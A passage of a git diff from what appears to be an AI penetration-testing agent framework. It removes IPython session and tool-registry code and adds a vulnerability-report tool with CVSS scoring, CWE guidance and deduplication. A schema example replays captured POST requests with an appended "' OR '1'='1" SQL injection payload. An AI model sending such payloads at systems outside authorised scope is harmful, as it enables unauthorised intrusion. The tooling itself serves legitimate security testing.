- 3. Session interaction MUST begin with 'new_session' action for each session instance.
- 4. Only one action can be performed per call.
- 5. CODE EXECUTION:
- - Both expressions and statements are supported
- - Expressions automatically return their result
- - Print statements and stdout are captured
- - Variables persist between executions in the same session
- - Imports, function definitions, etc. persist in the session
- - IPython magic commands are fully supported (%pip, %time, %whos, %%writefile, etc.)
- - Line magics (%) and cell magics (%%) work as expected
- 6. CLOSE: Terminates the session completely and frees memory
- 7. The Python sessions can operate concurrently with other tools. You may invoke
- terminal, browser, or other tools while maintaining active Python sessions.
- 8. Each session has its own isolated namespace - variables in one session don't
- affect others.
-
-
- # Create new session for security analysis (default session)
-
- new_session
- import hashlib
- import base64
- import json
- print("Security analysis session started")
-
-
- # Analyze security data in the default session
-
- execute
- vulnerability_data = {"cve": "CVE-2024-1234", "severity": "high"}
- encoded_payload = base64.b64encode(json.dumps(vulnerability_data).encode())
- print(f"Encoded: {encoded_payload.decode()}")
-
-
- # Long running security scan with custom timeout
-
- execute
- import time
- # Simulate long-running vulnerability scan
- time.sleep(45)
- print('Security scan completed!')
- 50
-
-
- # Use IPython magic commands for package management and profiling
-
- execute
- %pip install requests
- %time response = requests.get('https://httpbin.org/json')
- %whos
-
- # Analyze requests for potential vulnerabilities
-
- execute
- # Filter for POST requests that might contain sensitive data
- post_requests = list_requests(
- httpql_filter="req.method.eq:POST",
- page_size=20
- )
-
- # Analyze each POST request for potential issues
- for req in post_requests.get('requests', []):
- request_id = req['id']
- # View the request details
- request_details = view_request(request_id, part="request")
-
- # Check for potential SQL injection points
- body = request_details.get('body', '')
- if any(keyword in body.lower() for keyword in ['select', 'union', 'insert', 'update']):
- print(f"Potential SQL injection in request {request_id}")
-
- # Repeat the request with a test payload
- test_payload = repeat_request(request_id, {
- 'body': body + "' OR '1'='1"
- })
- print(f"Test response status: {test_payload.get('status_code')}")
-
- print("Security analysis complete!")
-
-
-
-
diff --git a/strix/tools/python/python_instance.py b/strix/tools/python/python_instance.py
deleted file mode 100644
index f1a5c216d..000000000
--- a/strix/tools/python/python_instance.py
+++ /dev/null
@@ -1,172 +0,0 @@
-import io
-import signal
-import sys
-import threading
-from typing import Any
-
-from IPython.core.interactiveshell import InteractiveShell
-
-
-MAX_STDOUT_LENGTH = 10_000
-MAX_STDERR_LENGTH = 5_000
-
-
-class PythonInstance:
- def __init__(self, session_id: str) -> None:
- self.session_id = session_id
- self.is_running = True
- self._execution_lock = threading.Lock()
-
- import os
-
- os.chdir("/workspace")
-
- self.shell = InteractiveShell()
- self.shell.init_completer()
- self.shell.init_history()
- self.shell.init_logger()
-
- self._setup_proxy_functions()
-
- def _setup_proxy_functions(self) -> None:
- try:
- from strix.tools.proxy import proxy_actions
-
- proxy_functions = [
- "list_requests",
- "list_sitemap",
- "repeat_request",
- "scope_rules",
- "send_request",
- "view_request",
- "view_sitemap_entry",
- ]
-
- proxy_dict = {name: getattr(proxy_actions, name) for name in proxy_functions}
- self.shell.user_ns.update(proxy_dict)
- except ImportError:
- pass
-
- def _validate_session(self) -> dict[str, Any] | None:
- if not self.is_running:
- return {
- "session_id": self.session_id,
- "stdout": "",
- "stderr": "Session is not running",
- "result": None,
- }
- return None
-
- def _setup_execution_environment(self, timeout: int) -> tuple[Any, io.StringIO, io.StringIO]:
- stdout_capture = io.StringIO()
- stderr_capture = io.StringIO()
-
- def timeout_handler(signum: int, frame: Any) -> None:
- raise TimeoutError(f"Code execution timed out after {timeout} seconds")
-
- old_handler = signal.signal(signal.SIGALRM, timeout_handler)
- signal.alarm(timeout)
-
- sys.stdout = stdout_capture
- sys.stderr = stderr_capture
-
- return old_handler, stdout_capture, stderr_capture
-
- def _cleanup_execution_environment(
- self, old_handler: Any, old_stdout: Any, old_stderr: Any
- ) -> None:
- signal.signal(signal.SIGALRM, old_handler)
- sys.stdout = old_stdout
- sys.stderr = old_stderr
-
- def _truncate_output(self, content: str, max_length: int, suffix: str) -> str:
- if len(content) > max_length:
- return content[:max_length] + suffix
- return content
-
- def _format_execution_result(
- self, execution_result: Any, stdout_content: str, stderr_content: str
- ) -> dict[str, Any]:
- stdout = self._truncate_output(
- stdout_content, MAX_STDOUT_LENGTH, "... [stdout truncated at 10k chars]"
- )
-
- if execution_result.result is not None:
- if stdout and not stdout.endswith("\n"):
- stdout += "\n"
- result_repr = repr(execution_result.result)
- result_repr = self._truncate_output(
- result_repr, MAX_STDOUT_LENGTH, "... [result truncated at 10k chars]"
- )
- stdout += result_repr
-
- stdout = self._truncate_output(
- stdout, MAX_STDOUT_LENGTH, "... [output truncated at 10k chars]"
- )
-
- stderr_content = stderr_content if stderr_content else ""
- stderr_content = self._truncate_output(
- stderr_content, MAX_STDERR_LENGTH, "... [stderr truncated at 5k chars]"
- )
-
- if (
- execution_result.error_before_exec or execution_result.error_in_exec
- ) and not stderr_content:
- stderr_content = "Execution error occurred"
-
- return {
- "session_id": self.session_id,
- "stdout": stdout,
- "stderr": stderr_content,
- "result": repr(execution_result.result)
- if execution_result.result is not None
- else None,
- }
-
- def _handle_execution_error(self, error: BaseException) -> dict[str, Any]:
- error_msg = str(error)
- error_msg = self._truncate_output(
- error_msg, MAX_STDERR_LENGTH, "... [error truncated at 5k chars]"
- )
-
- return {
- "session_id": self.session_id,
- "stdout": "",
- "stderr": error_msg,
- "result": None,
- }
-
- def execute_code(self, code: str, timeout: int = 30) -> dict[str, Any]:
- session_error = self._validate_session()
- if session_error:
- return session_error
-
- with self._execution_lock:
- old_stdout, old_stderr = sys.stdout, sys.stderr
-
- try:
- old_handler, stdout_capture, stderr_capture = self._setup_execution_environment(
- timeout
- )
-
- try:
- execution_result = self.shell.run_cell(code, silent=False, store_history=True)
- signal.alarm(0)
-
- return self._format_execution_result(
- execution_result, stdout_capture.getvalue(), stderr_capture.getvalue()
- )
-
- except (TimeoutError, KeyboardInterrupt, SystemExit) as e:
- signal.alarm(0)
- return self._handle_execution_error(e)
-
- finally:
- self._cleanup_execution_environment(old_handler, old_stdout, old_stderr)
-
- def close(self) -> None:
- self.is_running = False
- self.shell.reset(new_session=False)
-
- def is_alive(self) -> bool:
- return self.is_running
diff --git a/strix/tools/python/python_manager.py b/strix/tools/python/python_manager.py
deleted file mode 100644
index 576e3a591..000000000
--- a/strix/tools/python/python_manager.py
+++ /dev/null
@@ -1,131 +0,0 @@
-import atexit
-import contextlib
-import signal
-import sys
-import threading
-from typing import Any
-
-from .python_instance import PythonInstance
-
-
-class PythonSessionManager:
- def __init__(self) -> None:
- self.sessions: dict[str, PythonInstance] = {}
- self._lock = threading.Lock()
- self.default_session_id = "default"
-
- self._register_cleanup_handlers()
-
- def create_session(
- self, session_id: str | None = None, initial_code: str | None = None, timeout: int = 30
- ) -> dict[str, Any]:
- if session_id is None:
- session_id = self.default_session_id
-
- with self._lock:
- if session_id in self.sessions:
- raise ValueError(f"Python session '{session_id}' already exists")
-
- session = PythonInstance(session_id)
- self.sessions[session_id] = session
-
- if initial_code:
- result = session.execute_code(initial_code, timeout)
- result["message"] = (
- f"Python session '{session_id}' created successfully with initial code"
- )
- else:
- result = {
- "session_id": session_id,
- "message": f"Python session '{session_id}' created successfully",
- }
-
- return result
-
- def execute_code(
- self, session_id: str | None = None, code: str | None = None, timeout: int = 30
- ) -> dict[str, Any]:
- if session_id is None:
- session_id = self.default_session_id
-
- if not code:
- raise ValueError("No code provided for execution")
-
- with self._lock:
- if session_id not in self.sessions:
- raise ValueError(f"Python session '{session_id}' not found")
-
- session = self.sessions[session_id]
-
- result = session.execute_code(code, timeout)
- result["message"] = f"Code executed in session '{session_id}'"
- return result
-
- def close_session(self, session_id: str | None = None) -> dict[str, Any]:
- if session_id is None:
- session_id = self.default_session_id
-
- with self._lock:
- if session_id not in self.sessions:
- raise ValueError(f"Python session '{session_id}' not found")
-
- session = self.sessions.pop(session_id)
-
- session.close()
- return {
- "session_id": session_id,
- "message": f"Python session '{session_id}' closed successfully",
- "is_running": False,
- }
-
- def list_sessions(self) -> dict[str, Any]:
- with self._lock:
- session_info = {}
- for sid, session in self.sessions.items():
- session_info[sid] = {
- "is_running": session.is_running,
- "is_alive": session.is_alive(),
- }
-
- return {"sessions": session_info, "total_count": len(session_info)}
-
- def cleanup_dead_sessions(self) -> None:
- with self._lock:
- dead_sessions = []
- for sid, session in self.sessions.items():
- if not session.is_alive():
- dead_sessions.append(sid)
-
- for sid in dead_sessions:
- session = self.sessions.pop(sid)
- with contextlib.suppress(Exception):
- session.close()
-
- def close_all_sessions(self) -> None:
- with self._lock:
- sessions_to_close = list(self.sessions.values())
- self.sessions.clear()
-
- for session in sessions_to_close:
- with contextlib.suppress(Exception):
- session.close()
-
- def _register_cleanup_handlers(self) -> None:
- atexit.register(self.close_all_sessions)
-
- signal.signal(signal.SIGTERM, self._signal_handler)
- signal.signal(signal.SIGINT, self._signal_handler)
-
- if hasattr(signal, "SIGHUP"):
- signal.signal(signal.SIGHUP, self._signal_handler)
-
- def _signal_handler(self, _signum: int, _frame: Any) -> None:
- self.close_all_sessions()
- sys.exit(0)
-
-
-_python_session_manager = PythonSessionManager()
-
-
-def get_python_session_manager() -> PythonSessionManager:
- return _python_session_manager
diff --git a/strix/tools/registry.py b/strix/tools/registry.py
deleted file mode 100644
index ab82d6033..000000000
--- a/strix/tools/registry.py
+++ /dev/null
@@ -1,196 +0,0 @@
-import inspect
-import logging
-import os
-from collections.abc import Callable
-from functools import wraps
-from inspect import signature
-from pathlib import Path
-from typing import Any
-
-
-tools: list[dict[str, Any]] = []
-_tools_by_name: dict[str, Callable[..., Any]] = {}
-logger = logging.getLogger(__name__)
-
-
-class ImplementedInClientSideOnlyError(Exception):
- def __init__(
- self,
- message: str = "This tool is implemented in the client side only",
- ) -> None:
- self.message = message
- super().__init__(self.message)
-
-
-def _process_dynamic_content(content: str) -> str:
- if "{{DYNAMIC_MODULES_DESCRIPTION}}" in content:
- try:
- from strix.prompts import generate_modules_description
-
- modules_description = generate_modules_description()
- content = content.replace("{{DYNAMIC_MODULES_DESCRIPTION}}", modules_description)
- except ImportError:
- logger.warning("Could not import prompts utilities for dynamic schema generation")
- content = content.replace(
- "{{DYNAMIC_MODULES_DESCRIPTION}}",
- "List of prompt modules to load for this agent (max 3). Module discovery failed.",
- )
-
- return content
-
-
-def _load_xml_schema(path: Path) -> Any:
- if not path.exists():
- return None
- try:
- content = path.read_text()
-
- content = _process_dynamic_content(content)
-
- start_tag = '"
- tools_dict = {}
-
- pos = 0
- while True:
- start_pos = content.find(start_tag, pos)
- if start_pos == -1:
- break
-
- name_start = start_pos + len(start_tag)
- name_end = content.find('"', name_start)
- if name_end == -1:
- break
- tool_name = content[name_start:name_end]
-
- end_pos = content.find(end_tag, name_end)
- if end_pos == -1:
- break
- end_pos += len(end_tag)
-
- tool_element = content[start_pos:end_pos]
- tools_dict[tool_name] = tool_element
-
- pos = end_pos
-
- if pos >= len(content):
- break
- except (IndexError, ValueError, UnicodeError) as e:
- logger.warning(f"Error loading schema file {path}: {e}")
- return None
- else:
- return tools_dict
-
-
-def _get_module_name(func: Callable[..., Any]) -> str:
- module = inspect.getmodule(func)
- if not module:
- return "unknown"
-
- module_name = module.__name__
- if ".tools." in module_name:
- parts = module_name.split(".tools.")[-1].split(".")
- if len(parts) >= 1:
- return parts[0]
- return "unknown"
-
-
-def register_tool(
- func: Callable[..., Any] | None = None, *, sandbox_execution: bool = True
-) -> Callable[..., Any]:
- def decorator(f: Callable[..., Any]) -> Callable[..., Any]:
- func_dict = {
- "name": f.__name__,
- "function": f,
- "module": _get_module_name(f),
- "sandbox_execution": sandbox_execution,
- }
-
- sandbox_mode = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
- if not sandbox_mode:
- try:
- module_path = Path(inspect.getfile(f))
- schema_file_name = f"{module_path.stem}_schema.xml"
- schema_path = module_path.parent / schema_file_name
-
- xml_tools = _load_xml_schema(schema_path)
-
- if xml_tools is not None and f.__name__ in xml_tools:
- func_dict["xml_schema"] = xml_tools[f.__name__]
- else:
- func_dict["xml_schema"] = (
- f''
- "Schema not found for tool. "
- " "
- )
- except (TypeError, FileNotFoundError) as e:
- logger.warning(f"Error loading schema for {f.__name__}: {e}")
- func_dict["xml_schema"] = (
- f''
- "Error loading schema. "
- " "
- )
-
- tools.append(func_dict)
- _tools_by_name[str(func_dict["name"])] = f
-
- @wraps(f)
- def wrapper(*args: Any, **kwargs: Any) -> Any:
- return f(*args, **kwargs)
-
- return wrapper
-
- if func is None:
- return decorator
- return decorator(func)
-
-
-def get_tool_by_name(name: str) -> Callable[..., Any] | None:
- return _tools_by_name.get(name)
-
-
-def get_tool_names() -> list[str]:
- return list(_tools_by_name.keys())
-
-
-def needs_agent_state(tool_name: str) -> bool:
- tool_func = get_tool_by_name(tool_name)
- if not tool_func:
- return False
- sig = signature(tool_func)
- return "agent_state" in sig.parameters
-
-
-def should_execute_in_sandbox(tool_name: str) -> bool:
- for tool in tools:
- if tool.get("name") == tool_name:
- return bool(tool.get("sandbox_execution", True))
- return True
-
-
-def get_tools_prompt() -> str:
- tools_by_module: dict[str, list[dict[str, Any]]] = {}
- for tool in tools:
- module = tool.get("module", "unknown")
- if module not in tools_by_module:
- tools_by_module[module] = []
- tools_by_module[module].append(tool)
-
- xml_sections = []
- for module, module_tools in sorted(tools_by_module.items()):
- tag_name = f"{module}_tools"
- section_parts = [f"<{tag_name}>"]
- for tool in module_tools:
- tool_xml = tool.get("xml_schema", "")
- if tool_xml:
- indented_tool = "\n".join(f" {line}" for line in tool_xml.split("\n"))
- section_parts.append(indented_tool)
- section_parts.append(f"{tag_name}>")
- xml_sections.append("\n".join(section_parts))
-
- return "\n\n".join(xml_sections)
-
-
-def clear_registry() -> None:
- tools.clear()
- _tools_by_name.clear()
diff --git a/strix/tools/reporting/__init__.py b/strix/tools/reporting/__init__.py
index 22d9a5a2c..e69de29bb 100644
--- a/strix/tools/reporting/__init__.py
+++ b/strix/tools/reporting/__init__.py
@@ -1,6 +0,0 @@
-from .reporting_actions import create_vulnerability_report
-
-
-__all__ = [
- "create_vulnerability_report",
-]
diff --git a/strix/tools/reporting/reporting_actions.py b/strix/tools/reporting/reporting_actions.py
deleted file mode 100644
index 9cee63324..000000000
--- a/strix/tools/reporting/reporting_actions.py
+++ /dev/null
@@ -1,63 +0,0 @@
-from typing import Any
-
-from strix.tools.registry import register_tool
-
-
-@register_tool(sandbox_execution=False)
-def create_vulnerability_report(
- title: str,
- content: str,
- severity: str,
-) -> dict[str, Any]:
- validation_error = None
- if not title or not title.strip():
- validation_error = "Title cannot be empty"
- elif not content or not content.strip():
- validation_error = "Content cannot be empty"
- elif not severity or not severity.strip():
- validation_error = "Severity cannot be empty"
- else:
- valid_severities = ["critical", "high", "medium", "low", "info"]
- if severity.lower() not in valid_severities:
- validation_error = (
- f"Invalid severity '{severity}'. Must be one of: {', '.join(valid_severities)}"
- )
-
- if validation_error:
- return {"success": False, "message": validation_error}
-
- try:
- from strix.cli.tracer import get_global_tracer
-
- tracer = get_global_tracer()
- if tracer:
- report_id = tracer.add_vulnerability_report(
- title=title,
- content=content,
- severity=severity,
- )
-
- return {
- "success": True,
- "message": f"Vulnerability report '{title}' created successfully",
- "report_id": report_id,
- "severity": severity.lower(),
- }
- import logging
-
- logging.warning("Global tracer not available - vulnerability report not stored")
-
- return { # noqa: TRY300
- "success": True,
- "message": f"Vulnerability report '{title}' created successfully (not persisted)",
- "warning": "Report could not be persisted - tracer unavailable",
- }
-
- except ImportError:
- return {
- "success": True,
- "message": f"Vulnerability report '{title}' created successfully (not persisted)",
- "warning": "Report could not be persisted - tracer module unavailable",
- }
- except (ValueError, TypeError) as e:
- return {"success": False, "message": f"Failed to create vulnerability report: {e!s}"}
diff --git a/strix/tools/reporting/reporting_actions_schema.xml b/strix/tools/reporting/reporting_actions_schema.xml
deleted file mode 100644
index 2e47d60df..000000000
--- a/strix/tools/reporting/reporting_actions_schema.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-
-
- Create a vulnerability report for a discovered security issue.
-
-Use this tool to document a specific verified security vulnerability.
-Put ALL details in the content field - affected URLs, parameters, proof of concept, remediation steps, CVE references, CVSS scores, technical details, impact assessment, etc.
-
-DO NOT USE:
-- For general security observations without specific vulnerabilities
-- When you don't have concrete vulnerability details
-- When you don't have a proof of concept, or still not 100% sure if it's a vulnerability
-- For tracking multiple vulnerabilities (create separate reports)
-- For reporting multiple vulnerabilities at once. Use a separate create_vulnerability_report for each vulnerability.
-
-
-
- Clear, concise title of the vulnerability
-
-
- Complete vulnerability details including affected URLs, technical details, impact, proof of concept, remediation steps, and any relevant references. Be comprehensive and include everything relevant.
-
-
- Severity level: critical, high, medium, low, or info
-
-
-
- Response containing success status and message
-
-
-
diff --git a/strix/tools/reporting/tool.py b/strix/tools/reporting/tool.py
new file mode 100644
index 000000000..3fdcfeca0
--- /dev/null
+++ b/strix/tools/reporting/tool.py
@@ -0,0 +1,515 @@
+"""``create_vulnerability_report`` — file a vuln finding with dedup + CVSS."""
+
+from __future__ import annotations
+
+import json
+import logging
+import re
+from pathlib import PurePosixPath
+from typing import Any
+
+from agents import RunContextWrapper, function_tool
+
+
+logger = logging.getLogger(__name__)
+
+
+_CVSS_VALID = {
+ "attack_vector": ["N", "A", "L", "P"],
+ "attack_complexity": ["L", "H"],
+ "privileges_required": ["N", "L", "H"],
+ "user_interaction": ["N", "R"],
+ "scope": ["U", "C"],
+ "confidentiality": ["N", "L", "H"],
+ "integrity": ["N", "L", "H"],
+ "availability": ["N", "L", "H"],
+}
+
+
+_CODE_LOCATION_FIELDS = (
+ "file",
+ "start_line",
+ "end_line",
+ "snippet",
+ "label",
+ "fix_before",
+ "fix_after",
+)
+
+
+def _validate_file_path(path: str) -> str | None:
+ if not path or not path.strip():
+ return "file path cannot be empty"
+ p = PurePosixPath(path)
+ if p.is_absolute():
+ return f"file path must be relative, got absolute: '{path}'"
+ if ".." in p.parts:
+ return f"file path must not contain '..': '{path}'"
+ return None
+
+
+def _normalize_code_locations(
+ raw: list[dict[str, Any]] | None,
+) -> list[dict[str, Any]] | None:
+ if not raw:
+ return None
+ cleaned: list[dict[str, Any]] = []
+ for loc in raw:
+ normalized: dict[str, Any] = {}
+ for field in _CODE_LOCATION_FIELDS:
+ if field not in loc or loc[field] is None:
+ continue
+ value = loc[field]
+ if field in ("start_line", "end_line"):
+ try:
+ normalized[field] = int(value)
+ except (TypeError, ValueError):
+ continue
+ else:
+ text = (
+ str(value).strip("\n")
+ if field in ("snippet", "fix_before", "fix_after")
+ else str(value).strip()
+ )
+ if text:
+ normalized[field] = text
+ if normalized.get("file") and normalized.get("start_line") is not None:
+ cleaned.append(normalized)
+ return cleaned or None
+
+
+def _validate_code_locations(locations: list[dict[str, Any]]) -> list[str]:
+ errors: list[str] = []
+ for i, loc in enumerate(locations):
+ path_err = _validate_file_path(loc.get("file", ""))
+ if path_err:
+ errors.append(f"code_locations[{i}]: {path_err}")
+ start = loc.get("start_line")
+ if not isinstance(start, int) or start < 1:
+ errors.append(f"code_locations[{i}]: start_line must be a positive integer")
+ end = loc.get("end_line")
+ if end is None:
+ errors.append(f"code_locations[{i}]: end_line is required")
+ elif not isinstance(end, int) or end < 1:
+ errors.append(f"code_locations[{i}]: end_line must be a positive integer")
+ elif isinstance(start, int) and end < start:
+ errors.append(f"code_locations[{i}]: end_line ({end}) must be >= start_line ({start})")
+ return errors
+
+
+def _extract_cve(cve: str) -> str:
+ match = re.search(r"CVE-\d{4}-\d{4,}", cve)
+ return match.group(0) if match else cve.strip()
+
+
+def _validate_cve(cve: str) -> str | None:
+ if not re.match(r"^CVE-\d{4}-\d{4,}$", cve):
+ return f"invalid CVE format: '{cve}' (expected 'CVE-YYYY-NNNNN')"
+ return None
+
+
+def _extract_cwe(cwe: str) -> str:
+ match = re.search(r"CWE-\d+", cwe)
+ return match.group(0) if match else cwe.strip()
+
+
+def _validate_cwe(cwe: str) -> str | None:
+ if not re.match(r"^CWE-\d+$", cwe):
+ return f"invalid CWE format: '{cwe}' (expected 'CWE-NNN')"
+ return None
+
+
+def _calculate_cvss(breakdown: dict[str, str]) -> tuple[float, str, str]:
+ try:
+ from cvss import CVSS3
+
+ vector = (
+ f"CVSS:3.1/AV:{breakdown['attack_vector']}/AC:{breakdown['attack_complexity']}/"
+ f"PR:{breakdown['privileges_required']}/UI:{breakdown['user_interaction']}/"
+ f"S:{breakdown['scope']}/C:{breakdown['confidentiality']}/"
+ f"I:{breakdown['integrity']}/A:{breakdown['availability']}"
+ )
+ c = CVSS3(vector)
+ score = c.scores()[0]
+ severity = c.severities()[0].lower()
+ except Exception:
+ logger.exception("Failed to calculate CVSS")
+ return 7.5, "high", ""
+ else:
+ return score, severity, vector
+
+
+_REQUIRED_FIELDS = {
+ "title": "Title cannot be empty",
+ "description": "Description cannot be empty",
+ "impact": "Impact cannot be empty",
+ "target": "Target cannot be empty",
+ "technical_analysis": "Technical analysis cannot be empty",
+ "poc_description": "PoC description cannot be empty",
+ "poc_script_code": "PoC script/code is REQUIRED - provide the actual exploit/payload",
+ "remediation_steps": "Remediation steps cannot be empty",
+}
+
+
+async def _do_create( # noqa: PLR0912
+ *,
+ title: str,
+ description: str,
+ impact: str,
+ target: str,
+ technical_analysis: str,
+ poc_description: str,
+ poc_script_code: str,
+ remediation_steps: str,
+ cvss_breakdown: dict[str, str],
+ endpoint: str | None,
+ method: str | None,
+ cve: str | None,
+ cwe: str | None,
+ code_locations: list[dict[str, Any]] | None,
+ agent_id: str | None = None,
+ agent_name: str | None = None,
+) -> dict[str, Any]:
+ errors: list[str] = []
+ fields = {
+ "title": title,
+ "description": description,
+ "impact": impact,
+ "target": target,
+ "technical_analysis": technical_analysis,
+ "poc_description": poc_description,
+ "poc_script_code": poc_script_code,
+ "remediation_steps": remediation_steps,
+ }
+ for name, msg in _REQUIRED_FIELDS.items():
+ if not str(fields.get(name) or "").strip():
+ errors.append(msg)
+
+ if not isinstance(cvss_breakdown, dict) or not cvss_breakdown:
+ errors.append("cvss_breakdown: must be an object with the 8 CVSS metrics")
+ cvss_breakdown = {}
+ else:
+ for name, valid in _CVSS_VALID.items():
+ value = cvss_breakdown.get(name)
+ if value not in valid:
+ errors.append(f"Invalid {name}: {value}. Must be one of: {valid}")
+
+ parsed_locations = _normalize_code_locations(code_locations)
+ if parsed_locations:
+ errors.extend(_validate_code_locations(parsed_locations))
+ if cve:
+ cve = _extract_cve(cve)
+ cve_err = _validate_cve(cve)
+ if cve_err:
+ errors.append(cve_err)
+ if cwe:
+ cwe = _extract_cwe(cwe)
+ cwe_err = _validate_cwe(cwe)
+ if cwe_err:
+ errors.append(cwe_err)
+
+ if errors:
+ return {"success": False, "error": "Validation failed", "errors": errors}
+
+ cvss_score, severity, _vector = _calculate_cvss(cvss_breakdown)
+
+ try:
+ from strix.report.state import get_global_report_state
+
+ report_state = get_global_report_state()
+ if report_state is None:
+ logger.warning("No global report state; vulnerability report not persisted")
+ return {
+ "success": True,
+ "message": f"Vulnerability report '{title}' created (not persisted)",
+ "warning": "Report could not be persisted - report state unavailable",
+ }
+
+ from strix.report.dedupe import check_duplicate
+
+ existing = report_state.get_existing_vulnerabilities()
+ candidate = {
+ "title": title,
+ "description": description,
+ "impact": impact,
+ "target": target,
+ "technical_analysis": technical_analysis,
+ "poc_description": poc_description,
+ "poc_script_code": poc_script_code,
+ "endpoint": endpoint,
+ "method": method,
+ }
+ dedupe = await check_duplicate(candidate, existing)
+ if dedupe.get("is_duplicate"):
+ duplicate_id = dedupe.get("duplicate_id", "")
+ duplicate_title = next(
+ (r.get("title", "Unknown") for r in existing if r.get("id") == duplicate_id),
+ "",
+ )
+ return {
+ "success": False,
+ "error": (
+ f"Potential duplicate of '{duplicate_title}' "
+ f"(id={duplicate_id[:8]}...) — do not re-report the same vulnerability"
+ ),
+ "duplicate_of": duplicate_id,
+ "duplicate_title": duplicate_title,
+ "confidence": dedupe.get("confidence", 0.0),
+ "reason": dedupe.get("reason", ""),
+ }
+
+ report_id = report_state.add_vulnerability_report(
+ title=title,
+ description=description,
+ severity=severity,
+ impact=impact,
+ target=target,
+ technical_analysis=technical_analysis,
+ poc_description=poc_description,
+ poc_script_code=poc_script_code,
+ remediation_steps=remediation_steps,
+ cvss=cvss_score,
+ cvss_breakdown=cvss_breakdown,
+ endpoint=endpoint,
+ method=method,
+ cve=cve,
+ cwe=cwe,
+ code_locations=parsed_locations,
+ agent_id=agent_id if isinstance(agent_id, str) else None,
+ agent_name=agent_name if isinstance(agent_name, str) else None,
+ )
+ except (ImportError, AttributeError) as e:
+ logger.exception("create_vulnerability_report persistence failed")
+ return {"success": False, "error": f"Failed to create vulnerability report: {e!s}"}
+ else:
+ logger.info(
+ "Vulnerability report created: id=%s severity=%s cvss=%.1f title=%s",
+ report_id,
+ severity,
+ cvss_score,
+ title,
+ )
+ return {
+ "success": True,
+ "message": f"Vulnerability report '{title}' created successfully",
+ "report_id": report_id,
+ "severity": severity,
+ "cvss_score": cvss_score,
+ }
+
+
+@function_tool(timeout=180, strict_mode=False)
+async def create_vulnerability_report(
+ ctx: RunContextWrapper,
+ title: str,
+ description: str,
+ impact: str,
+ target: str,
+ technical_analysis: str,
+ poc_description: str,
+ poc_script_code: str,
+ remediation_steps: str,
+ cvss_breakdown: dict[str, str],
+ endpoint: str | None = None,
+ method: str | None = None,
+ cve: str | None = None,
+ cwe: str | None = None,
+ code_locations: list[dict[str, Any]] | None = None,
+) -> str:
+ """File a vulnerability report — one report per fully-verified finding.
+
+ **When to file**: you have a concrete vulnerability with a working
+ proof-of-concept and you're 100% sure it's a real issue.
+
+ **When NOT to file**:
+
+ - General security observations without a specific vulnerability.
+ - Suspicions you haven't confirmed with a PoC.
+ - Tracking multiple vulnerabilities at once — one report per vuln.
+ - Re-reporting something you (or another agent) already filed.
+
+ Automatic LLM-based **deduplication** rejects reports that describe
+ the same root cause on the same asset as an existing report. If you
+ get a ``duplicate_of`` response, do NOT retry — move on to other
+ areas.
+
+ **Customer-facing report rules** (the report is PDF-rendered for
+ delivery):
+
+ - No internal/system details: never mention paths like
+ ``/workspace``, internal tools, agents, sandboxes, models, system
+ prompts, internal errors / stack traces, or tester environment.
+ - Tone: formal, objective, third-person, vendor-neutral, concise.
+ - Standard finding structure: Overview → Severity & CVSS →
+ Affected assets → Technical details → PoC (steps + code) →
+ Impact → Remediation → Evidence (in technical_analysis).
+ - Numbered steps allowed only in PoC and Remediation sections.
+ - Avoid hedging language; be precise and non-vague.
+
+ **White-box requirement**: when source is available, you MUST
+ populate ``code_locations``. See the ``code_locations`` arg below
+ for the full rules around ``fix_before`` / ``fix_after``,
+ multi-part fixes, and informational-vs-actionable entries.
+
+ **CVSS breakdown** is an object with all 8 metrics (each a single
+ uppercase letter):
+
+ - ``attack_vector``: ``N`` (Network), ``A`` (Adjacent), ``L``
+ (Local), ``P`` (Physical)
+ - ``attack_complexity``: ``L`` / ``H``
+ - ``privileges_required``: ``N`` / ``L`` / ``H``
+ - ``user_interaction``: ``N`` / ``R``
+ - ``scope``: ``U`` (Unchanged) / ``C`` (Changed)
+ - ``confidentiality`` / ``integrity`` / ``availability``: ``N`` /
+ ``L`` / ``H``
+
+ Example::
+
+ {
+ "attack_vector": "N",
+ "attack_complexity": "L",
+ "privileges_required": "N",
+ "user_interaction": "N",
+ "scope": "U",
+ "confidentiality": "H",
+ "integrity": "H",
+ "availability": "H"
+ }
+
+ **CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
+ ``CWE-89``) — no name, no parenthetical. Be 100% certain; if
+ unsure, use ``web_search`` to verify the ID before passing, or omit
+ the field entirely. Always prefer the most specific child CWE over
+ a broad parent (CWE-89 not CWE-74; CWE-78 not CWE-77). Do NOT use
+ broad/parent CWEs like CWE-74, CWE-20, CWE-200, CWE-284, or
+ CWE-693.
+
+ Common CWE references (use the ID only — names are listed here
+ just for your lookup):
+
+ - **Injection**: CWE-79 XSS, CWE-89 SQLi, CWE-78 OS Command
+ Injection, CWE-94 Code Injection, CWE-77 Command Injection.
+ - **Auth / Access**: CWE-287 Improper Authentication, CWE-862
+ Missing Authorization, CWE-863 Incorrect Authorization, CWE-306
+ Missing Auth for Critical Function, CWE-639 Authz Bypass via
+ User-Controlled Key.
+ - **Web**: CWE-352 CSRF, CWE-918 SSRF, CWE-601 Open Redirect,
+ CWE-434 Unrestricted File Upload.
+ - **Memory**: CWE-787 OOB Write, CWE-125 OOB Read, CWE-416 UAF,
+ CWE-120 Classic Buffer Overflow.
+ - **Data**: CWE-502 Deserialization of Untrusted Data, CWE-22
+ Path Traversal, CWE-611 XXE.
+ - **Crypto / Config**: CWE-798 Hard-coded Credentials, CWE-327
+ Broken / Risky Crypto, CWE-311 Missing Encryption, CWE-916 Weak
+ Password Hashing.
+
+ Args:
+ title: Specific finding title (e.g.
+ ``"SQL Injection in /api/users login parameter"``). Don't
+ include the CVE number in the title.
+ description: How the vuln was discovered + what it is.
+ impact: What an attacker achieves; business risk; data at risk.
+ target: Affected URL / domain / repository.
+ technical_analysis: The mechanism and root cause.
+ poc_description: Step-by-step reproduction.
+ poc_script_code: Working PoC (Python preferred).
+ remediation_steps: Specific, actionable fix.
+ cvss_breakdown: 8-metric object per the format above.
+ endpoint: API path / Git path (e.g. ``/api/login``).
+ method: HTTP method when relevant.
+ cve: ``CVE-YYYY-NNNNN`` if certain, else omit.
+ cwe: ``CWE-NNN`` (most specific child) if certain, else omit.
+ code_locations: White-box findings — list of location objects.
+
+ **How ``fix_before`` / ``fix_after`` work**: they're used as
+ literal GitHub/GitLab PR suggestion blocks. When a reviewer
+ accepts the suggestion, the platform replaces the **exact
+ lines from ``start_line`` to ``end_line``** with
+ ``fix_after``. Therefore:
